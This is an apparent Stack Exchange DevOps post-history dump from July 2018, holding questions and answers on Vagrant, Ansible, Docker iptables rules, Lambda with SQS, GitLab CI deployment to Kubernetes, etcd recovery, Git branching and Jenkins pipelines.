  <row Id="14006" PostHistoryTypeId="5" PostId="4455" RevisionGUID="c3870940-3b70-4be6-ade1-f83cf7db0dab" CreationDate="2018-07-06T15:42:43.153" UserId="40" Comment="deleted 15 characters in body" Text="I'm curious what everyone recommends.&#xD;&#xA;&#xD;&#xA;Vagrant is for setting up test environments right? &#xD;&#xA;Ansible/Chef etc. seem good for servers you own, but what about cloud?&#xD;&#xA;Docker... great for standardizing app, so why use Ansible/Chef?&#xD;&#xA;Kubernentes.. good for deploying to multiple environments and scaling &#xD;&#xA;&#xD;&#xA;I'm just trying to understand what the need for ansible or chef are? And how about Vagrant? &#xD;&#xA;&#xD;&#xA;Also for the build cycle CI/CD pipeline with Git and artifacts.&#xD;&#xA;&#xD;&#xA;Cloud providers:&#xD;&#xA;&#xD;&#xA;AWS, GoogleCloud, Azure ? Which is best&#xD;&#xA;&#xD;&#xA;Any recommendations about the best overall Devops setup?&#xD;&#xA;&#xD;&#xA;Diagram would be best.&#xD;&#xA;&#xD;&#xA;Stack is:&#xD;&#xA;Node, React, MongoDb, Postgres, etc.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14007" PostHistoryTypeId="2" PostId="4464" RevisionGUID="c82c0929-83ef-42fe-b072-1959c3d985b8" CreationDate="2018-07-06T17:19:43.103" UserId="8424" Text="Turns out `-}}` is a special syntax which says 'eat up any following whitespace'.  Removing the `-` fixed this.&#xD;&#xA;&#xD;&#xA;I get a blank line, but don't really care, considering!" ContentLicense="CC BY-SA 4.0" />
  <row Id="14011" PostHistoryTypeId="2" PostId="4466" RevisionGUID="48b5aa2b-be5e-46c8-951f-9f457ae3c967" CreationDate="2018-07-06T19:14:47.693" UserId="4175" Text="&gt; Vagrant is for setting up test environments right? Ansible/Chef etc. seem good for servers you own, but what about cloud? Docker... great for standardizing app, so why use Ansible/Chef? Kubernentes.. good for deploying to multiple environments and scaling&#xD;&#xA;&#xD;&#xA;Just a personal note: the way you formulate these things makes me assume that you are diving freshly into these tools, and trying to figure out what they are for. And your reasoning is &quot;tool X is for purpose Y&quot;. I know the feeling, I started out like that as well, trying to wrap my mind around what all this stuff is for. The trap is that the real reasoning should be &quot;tool X does Z&quot;, instead. Few of these are really limited to a particular purpose.&#xD;&#xA;&#xD;&#xA;For example. You say &quot;Vagrant is for setting up test environments&quot;. This is wrong. Vagrant is for spinning up VMs in an automated way, including a zoo of pre-made images. &quot;Ansible is good for servers you own&quot; is wrong. Ansible is a tool to execute commands on a remote server where you have ssh access, with a zoo of recipes/playbooks to do the most common tasks. And so on.&#xD;&#xA;&#xD;&#xA;This is not to berate you, but to make it easier for you. Try to be a little less abstract, and just look at what the tool actually *does*. Then it gets relatively easy to find proper uses, and you also can use the same too for different purposes.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;Vagrant is great for also setting up *development* environments, not just testing. Or, really, any VM at all where you want the actual content to be mostly configuration-as-code and want to avoid clicking around in a VM GUI.&#xD;&#xA;&#xD;&#xA;&gt; I'm just trying to understand what the need for ansible or chef are? And how about Vagrant?&#xD;&#xA;&#xD;&#xA;Now you know what the need for Vagrant is.  Vagrant literally solves the need to spin up VMs repeatably, automated, and have the configuration managed as files (i.e., checked into VCS together with the source code of your application, and so on).&#xD;&#xA;&#xD;&#xA;&gt; Also for the build cycle CI/CD pipeline with Git and artifacts.&#xD;&#xA;&#xD;&#xA;Read the documentation of git &amp; co and actually look at what it *does*. That, then, is its purpose, nothing more and nothing less. &#xD;&#xA;&#xD;&#xA;Same for CI/CD. Continuous integration means *literally* that. To continuously (i.e., once or more a day, not just every few weeks or months, as it was done in the past) integrate (i.e., merge all the branches of your application that are in development currently). There is no hidden purpose there (or if there is, it should be obvious - doing it more often means every single time is more easy, since there's not such a long time inbetween). Obviously the *details* of how it works exactly without turning into a nightmare could be more involved, but the *purpose* is just what it says on the can.&#xD;&#xA;&#xD;&#xA;&gt; AWS, GoogleCloud, Azure ? Which is best&#xD;&#xA;&#xD;&#xA;It does not make sense to think of &quot;best&quot; here. All three are extremely complex, and the fact that they are all still around means they all serve a purpose. You have to look at each of them, try them out, and compare them to your needs (and your personal likes/dislikes, sometimes).&#xD;&#xA;&#xD;&#xA;&gt; Any recommendations about the best overall Devops setup?&#xD;&#xA;&#xD;&#xA;Clearly the best overall DevOps setup is the one that solves your problem and fits your overall needs and wishes. There are a vast amount of possibilities of good DevOps setups, and you have to choose for yourself.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14012" PostHistoryTypeId="50" PostId="3575" RevisionGUID="ad31c3c8-fd95-409e-909c-3cc7a3b4a12a" CreationDate="2018-07-06T20:22:08.390" UserId="-1" />
  <row Id="14013" PostHistoryTypeId="50" PostId="2412" RevisionGUID="f04eb3cb-363f-4a26-8588-b425bcbcc496" CreationDate="2018-07-06T21:22:08.337" UserId="-1" />
  <row Id="14017" PostHistoryTypeId="2" PostId="4467" RevisionGUID="a0eb421e-db3d-4004-b86e-3c6f2948a304" CreationDate="2018-07-07T06:48:30.347" UserId="8198" Text="Healthy DevOps teams tend to be relatively small and relatively independent when they work really well. If you have a team like this, then task oriented leadership will work well because it fits nicely with the general DevOps philosophy. " ContentLicense="CC BY-SA 4.0" />
  <row Id="14018" PostHistoryTypeId="2" PostId="4468" RevisionGUID="ae31d9b0-296f-4dda-ba38-d4dc9f861002" CreationDate="2018-07-07T13:53:07.040" UserId="5740" Text="I've spun up a web server that listens on port `8080` like this:&#xD;&#xA;&#xD;&#xA;    # docker run --rm -p 8080:8080 python:3.6 sh -c &quot;cd tmp &amp;&amp; python -m http.server 8080&quot;&#xD;&#xA;&#xD;&#xA;I want to dynamically adjust `iptables` rules **from the host** to restrict access to the container. I tried blocking a source IP address by adding rules to the `INPUT` and `DOCKER-USER` chains:&#xD;&#xA;&#xD;&#xA;    # iptables -A INPUT -p tcp --destination-port 8080 -s 1.2.3.4 -j DROP&#xD;&#xA;    # iptables -A DOCKER-USER -p tcp --destination-port 8080 -s 1.2.3.4 -j DROP&#xD;&#xA;&#xD;&#xA;This did _not_ work. I can still `curl` the container from that source IP.&#xD;&#xA;&#xD;&#xA;For comparison, doing the same exercise but running `python -m http.server 8080` directly on my host instead of a container works fine: the traffic is blocked.&#xD;&#xA;&#xD;&#xA;How can I _dynamically_ block traffic to service running in a container?&#xD;&#xA;&#xD;&#xA;Specifically I want to restrict some source IPs from accessing some ports, but I do not know these beforehand.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14019" PostHistoryTypeId="1" PostId="4468" RevisionGUID="ae31d9b0-296f-4dda-ba38-d4dc9f861002" CreationDate="2018-07-07T13:53:07.040" UserId="5740" Text="Using IPTable to restrict traffic to a Docker container" ContentLicense="CC BY-SA 4.0" />
  <row Id="14020" PostHistoryTypeId="3" PostId="4468" RevisionGUID="ae31d9b0-296f-4dda-ba38-d4dc9f861002" CreationDate="2018-07-07T13:53:07.040" UserId="5740" Text="&lt;docker&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14024" PostHistoryTypeId="2" PostId="4470" RevisionGUID="ddc1ef83-30d6-496d-be22-8708ecccaa94" CreationDate="2018-07-07T16:56:55.213" UserId="8679" Text="What are some strategies and patterns for processing message queues quickly?&#xA;&#xA;I have a Lambda function that is invoked on a schedule every x minutes to process a number of messages in the queue. I could reduce the interval, but a lot of the time there won’t be any messages to process and as Lambda is priced per request this would be cost inefficient. So I’m looking for a few ideas on other ways to achieve this" ContentLicense="CC BY-SA 4.0" />
  <row Id="14025" PostHistoryTypeId="1" PostId="4470" RevisionGUID="ddc1ef83-30d6-496d-be22-8708ecccaa94" CreationDate="2018-07-07T16:56:55.213" UserId="8679" Text="Processing message queues quickly" ContentLicense="CC BY-SA 4.0" />
  <row Id="14026" PostHistoryTypeId="3" PostId="4470" RevisionGUID="ddc1ef83-30d6-496d-be22-8708ecccaa94" CreationDate="2018-07-07T16:56:55.213" UserId="8679" Text="&lt;amazon-web-services&gt;&lt;aws-lambda&gt;&lt;amazon-sqs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14027" PostHistoryTypeId="2" PostId="4471" RevisionGUID="17255fc2-e0e2-43e1-92d4-1e242a1a89d2" CreationDate="2018-07-07T18:45:48.893" UserId="405" Text="An SQS queue can now be wired directly to a Lambda function as an event source, so you don't have to start the Lambda function on a schedule.&#xD;&#xA;&#xD;&#xA;https://aws.amazon.com/blogs/aws/aws-lambda-adds-amazon-simple-queue-service-to-supported-event-sources/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14034" PostHistoryTypeId="5" PostId="4470" RevisionGUID="7be6714e-fc1a-4914-9ee9-80ce24672367" CreationDate="2018-07-08T02:32:17.353" UserId="739" Comment="clarify title" Text="What are some strategies and patterns for processing message queues quickly?&#xD;&#xA;&#xD;&#xA;I have a Lambda function that is invoked on a schedule every x minutes to process a number of messages in the queue. I could reduce the interval, but a lot of the time there won’t be any messages to process and as Lambda is priced per request this would be cost inefficient. So I’m looking for a few ideas on other ways to achieve this" ContentLicense="CC BY-SA 4.0" />
  <row Id="14035" PostHistoryTypeId="4" PostId="4470" RevisionGUID="7be6714e-fc1a-4914-9ee9-80ce24672367" CreationDate="2018-07-08T02:32:17.353" UserId="739" Comment="clarify title" Text="Processing message queues quickly without wasting money on AWS Lambda" ContentLicense="CC BY-SA 4.0" />
  <row Id="14036" PostHistoryTypeId="24" PostId="4470" RevisionGUID="7be6714e-fc1a-4914-9ee9-80ce24672367" CreationDate="2018-07-08T02:32:17.353" Comment="Proposed by 739 approved by 40, 47 edit id of 729" ContentLicense="CC BY-SA 4.0" />
  <row Id="14045" PostHistoryTypeId="2" PostId="4475" RevisionGUID="7996c49d-05bb-4d0b-a628-65943807018a" CreationDate="2018-07-08T17:02:09.277" UserId="8691" Text="Docker on MacOS runs on a virtual machine (docker-machine), and it's known that docker-machine volume mounts may perform worse than what you'd expect. It becomes worse especially when it comes operations concerning lots of small files, like scanning the filesystem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Official Docker documentation also mentions this, and suggests some workarounds by lowering the consistency guarantees.&#xD;&#xA;&#xD;&#xA;See: https://docs.docker.com/docker-for-mac/osxfs-caching/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14046" PostHistoryTypeId="2" PostId="4476" RevisionGUID="5d4597a0-e9f3-4c1c-9080-e02e433e9784" CreationDate="2018-07-08T17:12:42.873" UserId="8691" Text="In addition to all the other options mentioned, I would like to mention that InSpec 2.0 added support for cloud provider APIs. Basically, you can continue writing the IaC with Terraform, then write compliancy checks with InSpec for your cloud resources. In addition, InSpec supports writing tests for individual machines if you ever need it.&#xD;&#xA;&#xD;&#xA;Here is an article from Christoph Hartmann (co-creator of Inspec) on how to use Inspec with Terraform: https://lollyrock.com/articles/inspec-terraform/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14047" PostHistoryTypeId="2" PostId="4477" RevisionGUID="5b051e3a-d8eb-45ed-8c0a-df69df6797d0" CreationDate="2018-07-08T19:09:43.757" UserId="1073" Text="I am working on setting up a cloud DevOps deployment pipeline using Gitlab CI online, Kubernetes, and docker. I am following an example post at [Continous delivery of a spring boot application with Gitlab CI and kubernetes][1] and [Kubectl delete/create secret forbidden (Google cloud platform)][2] . &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Find below my .gitlab-ci.yml file's source&#xD;&#xA;&#xD;&#xA;    image: docker:latest&#xD;&#xA;    services:&#xD;&#xA;      - docker:dind&#xD;&#xA;    &#xD;&#xA;    variables:&#xD;&#xA;      DOCKER_DRIVER: overlay&#xD;&#xA;      SPRING_PROFILES_ACTIVE: gitlab-ci&#xD;&#xA;    &#xD;&#xA;    stages:&#xD;&#xA;      - build&#xD;&#xA;      - package&#xD;&#xA;      - deploy&#xD;&#xA;    &#xD;&#xA;    maven-build:&#xD;&#xA;      image: maven:3-jdk-8&#xD;&#xA;      stage: build&#xD;&#xA;      script: &quot;mvn package -B&quot;&#xD;&#xA;      artifacts:&#xD;&#xA;        paths:&#xD;&#xA;          - target/*.jar&#xD;&#xA;    &#xD;&#xA;    docker-build:&#xD;&#xA;      stage: package&#xD;&#xA;      script:&#xD;&#xA;      - docker login -u gitlab-ci-token -p $CI_BUILD_TOKEN registry.gitlab.com&#xD;&#xA;      - docker build -t registry.gitlab.com/username/mta-hosting-optimizer .&#xD;&#xA;      - docker push registry.gitlab.com/username/mta-hosting-optimizer&#xD;&#xA;    &#xD;&#xA;    k8s-deploy:&#xD;&#xA;      image: google/cloud-sdk&#xD;&#xA;      stage: deploy&#xD;&#xA;      script:&#xD;&#xA;      - echo &quot;$GOOGLE_KEY&quot; &gt; key.json&#xD;&#xA;      - gcloud auth activate-service-account --key-file key.json&#xD;&#xA;      - gcloud config set compute/zone europe-west1-c&#xD;&#xA;      - gcloud config set project mta-hosting-optimizer&#xD;&#xA;      - gcloud config unset container/use_client_certificate&#xD;&#xA;      - gcloud config set container/use_client_certificate True&#xD;&#xA;      - gcloud container clusters get-credentials mta-hosting-optimizer&#xD;&#xA;      - kubectl create -f admin.yaml --validate=false&#xD;&#xA;      - kubectl create clusterrolebinding serviceaccounts-cluster-admin--clusterrole=cluster-admin --group=system:serviceaccounts&#xD;&#xA;      - kubectl delete secret registry.gitlab.com&#xD;&#xA;      - kubectl create secret docker-registry registry.gitlab.com --docker-server=https://registry.gitlab.com --docker-username=username --docker-password=$REGISTRY_PASSWD --docker-email=email@email.com&#xD;&#xA;      - kubectl apply -f deployment.yml&#xD;&#xA;&#xD;&#xA;Deployment fails at the line below&#xD;&#xA;&#xD;&#xA;      - kubectl create -f admin.yaml --validate=false&#xD;&#xA;&#xD;&#xA;The error message displayed upon this failure is as follow:&#xD;&#xA;&#xD;&#xA;    error: error converting YAML to JSON: yaml: mapping values are not allowed in this context&#xD;&#xA;    ERROR: Job failed: exit code 1&#xD;&#xA;&#xD;&#xA;The admin.yaml file's source is as follows:&#xD;&#xA;&#xD;&#xA;    apiVersion: rbac.authorization.k8s.io/v1beta1 kind: ClusterRoleBinding metadata: name: kubernetes-dashboard labels: k8s-app: kubernetes-dashboard roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-admin subjects: - kind: ServiceAccount name: kubernetes-dashboard namespace: kube-system&#xD;&#xA;&#xD;&#xA;The Maven build and Docker build/package stages work find. This is the only stage that fails. I will appreciate everyone's help in resolving this issue.&#xD;&#xA;Thank you very much.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://about.gitlab.com/2016/12/14/continuous-delivery-of-a-spring-boot-application-with-gitlab-ci-and-kubernetes/&#xD;&#xA;  [2]: https://stackoverflow.com/questions/50015081/kubectl-delete-create-secret-forbidden-google-cloud-platform" ContentLicense="CC BY-SA 4.0" />
  <row Id="14048" PostHistoryTypeId="1" PostId="4477" RevisionGUID="5b051e3a-d8eb-45ed-8c0a-df69df6797d0" CreationDate="2018-07-08T19:09:43.757" UserId="1073" Text="Kubernetes Continuous deployment stage in Gitlab Online fails" ContentLicense="CC BY-SA 4.0" />
  <row Id="14049" PostHistoryTypeId="3" PostId="4477" RevisionGUID="5b051e3a-d8eb-45ed-8c0a-df69df6797d0" CreationDate="2018-07-08T19:09:43.757" UserId="1073" Text="&lt;kubernetes&gt;&lt;continuous-deployment&gt;&lt;gitlab&gt;&lt;yaml&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14050" PostHistoryTypeId="2" PostId="4478" RevisionGUID="e414e259-b96f-4443-aa54-67cd6e75da86" CreationDate="2018-07-09T04:28:34.397" UserId="2661" Text="[MariaDB cookbook][1] added support for `mariadb_database` and `mariadb_user` resources in the version 1.5.4 released on May 25 2018.&#xD;&#xA;&#xD;&#xA;[1]:https://supermarket.chef.io/cookbooks/mariadb" ContentLicense="CC BY-SA 4.0" />
  <row Id="14051" PostHistoryTypeId="50" PostId="2481" RevisionGUID="3d43c90e-bad3-47e7-8ab8-9ff002dad3ca" CreationDate="2018-07-09T04:34:54.113" UserId="-1" />
  <row Id="14053" PostHistoryTypeId="50" PostId="3463" RevisionGUID="df43b61c-87dc-4493-bcaa-b2188e8451f7" CreationDate="2018-07-09T09:36:20.693" UserId="-1" />
  <row Id="14057" PostHistoryTypeId="2" PostId="4481" RevisionGUID="52abb8d1-a557-42bc-afb9-1f1f2a06bc04" CreationDate="2018-07-09T19:25:43.060" UserId="8621" Text="Over the past updates (espcially the update to `etcd-wrapper`: https://github.com/coreos/coreos-overlay/tree/master/app-admin/etcd-wrapper) my etcd-cluster with five machines broke. Now I'm trying to recover from that.&#xD;&#xA;&#xD;&#xA;Currently I only use it for the `etcd-lock` while updating the machines. So there is basically no important information in there (yet).&#xD;&#xA;&#xD;&#xA;I tried a lot of stuff and since, in my opinion, the documentation is not that structured, I mixed a lot of infos form different parts together. Currently I'm in a state, where one node wants to elect a leader with another node. But that other node _thinks_ it is part of another cluster. And I cannot do anything on the first one anymore. `etcdctl` just revokes all actions with the info, that the cluster is not healthy...&#xD;&#xA;&#xD;&#xA;So I want to do a fresh start again!&#xD;&#xA;&#xD;&#xA;Could someone point me to some part of the documentation, that explains that? It seems, that the _disaster recovery_ part (https://coreos.com/etcd/docs/latest/op-guide/recovery.html), that allegedly contained the info, has changed (and is also depreacted).&#xD;&#xA;&#xD;&#xA;Additionally it would be really helpful, if someone could point me to the part of the docu, that explains how to setup a `etcd-cluster` without re-installing the whole system.&#xD;&#xA;&#xD;&#xA;Thanks in advance!&#xD;&#xA;&#xD;&#xA;PS: I would have gladly selected some better tags (like `coreos`, `etcd`, `etcd-cluster`), but I am not allowed to create them now :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="14058" PostHistoryTypeId="1" PostId="4481" RevisionGUID="52abb8d1-a557-42bc-afb9-1f1f2a06bc04" CreationDate="2018-07-09T19:25:43.060" UserId="8621" Text="Re-initialize etcd-cluster completely (on coreos)" ContentLicense="CC BY-SA 4.0" />
  <row Id="14059" PostHistoryTypeId="3" PostId="4481" RevisionGUID="52abb8d1-a557-42bc-afb9-1f1f2a06bc04" CreationDate="2018-07-09T19:25:43.060" UserId="8621" Text="&lt;linux&gt;&lt;servers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14060" PostHistoryTypeId="2" PostId="4482" RevisionGUID="0c3eabaf-4881-4505-98a2-8c002aa7edb9" CreationDate="2018-07-09T23:23:28.783" UserId="5321" Text="We have main two Git branches at our company:&#xD;&#xA;During our Sprint,&#xD;&#xA;&#xD;&#xA;Everyone has (local branches)&#xD;&#xA;&#xD;&#xA;Release branch: Contains prepared/developed code, ready for testing,  and &#xD;&#xA;&#xD;&#xA;Master branch: Production- final ready code&#xD;&#xA;&#xD;&#xA;I read in Git, Cherry picking is bad.&#xD;&#xA;&#xD;&#xA;https://blogs.msdn.microsoft.com/oldnewthing/20180312-00/?p=98215&#xD;&#xA;http://www.draconianoverlord.com/2013/09/07/no-cherry-picking.html&#xD;&#xA;&#xD;&#xA;After items are placed in master, they are ready to be deployed.&#xD;&#xA;Sometimes , we do not move all Release items into Master, many reasons:, delay schedule, conduct more testing, late issues. What is the proper Git Devops strategy to only move certain items into Master? Should we backout commits, so we can do a clean merge?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Databases are different, as we are conducting change scripts, and not overwriting binaries like applications, etc.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;Release branch _-------_ -------------&gt;   Master&#xD;&#xA;&#xD;&#xA;Commit A, B, C, D, E   -------------&gt;   Commit B,D     " ContentLicense="CC BY-SA 4.0" />
  <row Id="14061" PostHistoryTypeId="1" PostId="4482" RevisionGUID="0c3eabaf-4881-4505-98a2-8c002aa7edb9" CreationDate="2018-07-09T23:23:28.783" UserId="5321" Text="Merging Git Database Commits from One Branch to Another without Cherrypicking" ContentLicense="CC BY-SA 4.0" />
  <row Id="14062" PostHistoryTypeId="3" PostId="4482" RevisionGUID="0c3eabaf-4881-4505-98a2-8c002aa7edb9" CreationDate="2018-07-09T23:23:28.783" UserId="5321" Text="&lt;git&gt;&lt;databases&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14063" PostHistoryTypeId="5" PostId="1244" RevisionGUID="f55f81da-04d3-4d76-bc27-5062d532fe20" CreationDate="2018-07-10T00:33:16.300" UserId="2463" Comment="added 1 character in body" Text="An idea key to your question is that of _immutable infrastructure_, which is the idea that an image is built once, deployed many times, and never changed at runtime. If the contents of the image need to change, an entirely new image is built from scratch and new instances replace the ones running the old image.&#xD;&#xA;&#xD;&#xA;This is the opposite of what you might now call _mutable_ infrastructure, where often a machine (or container) is booted from a generic OS image and then its contents managed by a configuration management tool on an ongoing basis. In this model, instances generally live longer and are changed in-place to respond to new requirements.&#xD;&#xA;&#xD;&#xA;Packer is intended as a building block for _immutable_ infrastructure. It is intended to orchestrate the creation of customized images that boot immediately into the desired state. If immutable infrastructure is the right fit for your use-case (which is not necessarily the case!) then indeed tools such as Ansible, Chef and Puppet _may_ be unnecessary.&#xD;&#xA;&#xD;&#xA;However, running these tools in a &quot;one-shot&quot; mode (e.g. _Chef Solo_) with Packer can often be useful for non-trivial images: these tools generally provide more powerful abstractions than Packer alone provides, making it easier to do things such as configure the init system to run certain services, or create user accounts. In this case, the configuration management tool would run as a _provisioner_ in Packer, creating the necessary configuration within the image, but is not involved in the ongoing upkeep of instances booted from the image.&#xD;&#xA;&#xD;&#xA;Most practical systems include a mixture of mutable and immutable infrastructure, since e.g. immutable infrastructure is inappropriate for stateful, centralized systems. In that case, using a traditional configuration management system can be useful to create a common base of functionality between your immutable and mutable systems, applying configuration in a one-shot way for immutable images and in an ongoing, stateful way to long-running, mutable machines.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14064" PostHistoryTypeId="2" PostId="4483" RevisionGUID="a5d4509f-7a9f-4ccf-aaab-aa47e2b1b783" CreationDate="2018-07-10T03:44:10.043" UserId="8710" Text="I watched Klaus Ita Keynote on FreeCodeCamp YouTube channel about devops and got inspired.&#xD;&#xA;&#xD;&#xA;In previous job we had very good deployment system. We begun with Jenkins and pulling source from SVN, and then migrated over GitHub and used CircleCI. We also managed to use only single source code for many clients using multi tenancy approach, so everything was simplified to the bare minimum.&#xD;&#xA;&#xD;&#xA;Now I started to work in another company, digital agency, and 80% of current projects are Wordpress.&#xD;&#xA;&#xD;&#xA;I don’t think that we would be able to merge all clients under one source code (or we could try with multi tenancy, by managing seperate databases, seperating out plugins and themes), but at the moment all the projects are just copied to server via FTP. At least, GIT is used to keep versions.&#xD;&#xA;&#xD;&#xA;I have in my mind, that I would really like to improve this deployment process by automating it as much as possible, at least with Jenkins and git-ftp, but th question is how to start doing this? I mean, move one-by-one project to Jenkins or only those that requires future upgrades? Or only new projects, that might come in? Is it worth that effort? What should we do with rest of 20% of custom projects?&#xD;&#xA;&#xD;&#xA;I hope that you might share your experience, your failures and know-how’s to help one more soul to sleep better at night :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="14065" PostHistoryTypeId="1" PostId="4483" RevisionGUID="a5d4509f-7a9f-4ccf-aaab-aa47e2b1b783" CreationDate="2018-07-10T03:44:10.043" UserId="8710" Text="Advice needed - automate everything or only new/current projects" ContentLicense="CC BY-SA 4.0" />
  <row Id="14066" PostHistoryTypeId="3" PostId="4483" RevisionGUID="a5d4509f-7a9f-4ccf-aaab-aa47e2b1b783" CreationDate="2018-07-10T03:44:10.043" UserId="8710" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14067" PostHistoryTypeId="2" PostId="4484" RevisionGUID="8a0c97f6-397b-4ece-9016-a88107e92744" CreationDate="2018-07-10T07:58:32.690" UserId="3533" Text="You can spend a lot of time, to automate something, which is done monthly and do routine staff manually on a daily basis - not the best way.&#xD;&#xA;&#xD;&#xA;If you are time/resource limited, then find the bottleneck in the software delivery process and improve it, after that bottleneck is not a bottleneck anymore, find a new one and so on. So if you are spending 80% of your development time/resources on the new project, automate it first, and leave the old ones for the next step or vice a versa, depending where the main bottleneck is." ContentLicense="CC BY-SA 4.0" />
  <row Id="14068" PostHistoryTypeId="2" PostId="4485" RevisionGUID="20e26c5f-65b9-44b2-a5ed-abb2d07b812c" CreationDate="2018-07-10T10:49:09.820" UserId="8713" Text="git command : git log --format=%B --no-merges origin/master..origin/${currentBranch}&#xD;&#xA;&#xD;&#xA;jenkins output error :&#xD;&#xA;&#xD;&#xA;fatal: ambiguous argument 'origin/master..origin/XOPS-42_AddResultToJIRA': unknown revision or path not in the working tree.&#xD;&#xA;Use '--' to separate paths from revisions, like this:&#xD;&#xA;'git &lt;command&gt; [&lt;revision&gt;...] -- [&lt;file&gt;...]'" ContentLicense="CC BY-SA 4.0" />
  <row Id="14069" PostHistoryTypeId="1" PostId="4485" RevisionGUID="20e26c5f-65b9-44b2-a5ed-abb2d07b812c" CreationDate="2018-07-10T10:49:09.820" UserId="8713" Text="jenkins fatal: ambiguous argument, unknown revision or path not in the working tree" ContentLicense="CC BY-SA 4.0" />
  <row Id="14070" PostHistoryTypeId="3" PostId="4485" RevisionGUID="20e26c5f-65b9-44b2-a5ed-abb2d07b812c" CreationDate="2018-07-10T10:49:09.820" UserId="8713" Text="&lt;jenkins&gt;&lt;git&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14071" PostHistoryTypeId="2" PostId="4486" RevisionGUID="454b92dd-02ec-45c9-9288-0cea10625603" CreationDate="2018-07-10T11:29:46.037" UserId="8714" Text="You can also use error to exit the current stage, then you don't have to consider the current stage hierarchy and similar stuff:&#xD;&#xA;&#xD;&#xA;    def autoCancelled = false&#xD;&#xA;    &#xD;&#xA;    try {&#xD;&#xA;      stage('checkout') {&#xD;&#xA;        ...&#xD;&#xA;        if (your condition) {&#xD;&#xA;          autoCancelled = true&#xD;&#xA;          error('Aborting the build.')&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    } catch (e) {&#xD;&#xA;      if (autoCancelled) {&#xD;&#xA;        currentBuild.result = 'SUCCESS'&#xD;&#xA;        // return here instead of throwing error to keep the build &quot;green&quot;&#xD;&#xA;        return&#xD;&#xA;      }&#xD;&#xA;      // normal error handling&#xD;&#xA;      throw e&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;But this would lead to a red stage, if the error occurs within a stage.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;It depends on your requirements, which way you want to use.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Q9UDp.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="14075" PostHistoryTypeId="10" PostId="4485" RevisionGUID="b003c360-3cc8-49a2-8a86-7eefb50a730f" CreationDate="2018-07-10T12:45:39.703" UserId="13" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="14080" PostHistoryTypeId="2" PostId="4489" RevisionGUID="dba189e9-26da-43fb-96c1-00f490b50ecd" CreationDate="2018-07-10T15:46:06.390" UserId="8707" Text="I am attempting to automate imports and exports of Oracle's PeopleSoft Application Designer. It is a GUI program but it can operate in the windows command line for certain tasks. [This project has examples][1] of how it is used in the command line.&#xD;&#xA;&#xD;&#xA;The problem is that despite having parameters to hide the GUI, splash screen and to auto-quit, it is hanging when run in Jenkins. My suspicion is that despite hiding all graphics, the Windows Desktop Window Manager (or something) is still being called and Jenkins has no way to deal with that. I think this because when I execute the command, my CMD window loses focus.&#xD;&#xA;&#xD;&#xA;I have tried both with &quot;Execute windows batch command&quot; and with Git Bash, &quot;Execute Shell&quot; and calling cmd.exe.&#xD;&#xA;&#xD;&#xA;When I run this in the actual git bash window without hiding the GUI, the GUI still pops up, so the Git Bah program doesn't have the same issue.&#xD;&#xA;&#xD;&#xA;**How can I either suppress all GUI in a windows command OR give the program somewhere to put these invisible windows?**&#xD;&#xA;&#xD;&#xA;Alternatively, if I am way off base with this assumption that GUI is the problem, how can I troubleshoot?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/psadmin-io/ps-project-git/tree/master/hooks" ContentLicense="CC BY-SA 4.0" />
  <row Id="14081" PostHistoryTypeId="1" PostId="4489" RevisionGUID="dba189e9-26da-43fb-96c1-00f490b50ecd" CreationDate="2018-07-10T15:46:06.390" UserId="8707" Text="Jenkins hangs on Windows CMD build that has GUI" ContentLicense="CC BY-SA 4.0" />
  <row Id="14082" PostHistoryTypeId="3" PostId="4489" RevisionGUID="dba189e9-26da-43fb-96c1-00f490b50ecd" CreationDate="2018-07-10T15:46:06.390" UserId="8707" Text="&lt;jenkins&gt;&lt;windows&gt;&lt;bash&gt;" ContentLicense="CC BY-SA 4.0" />
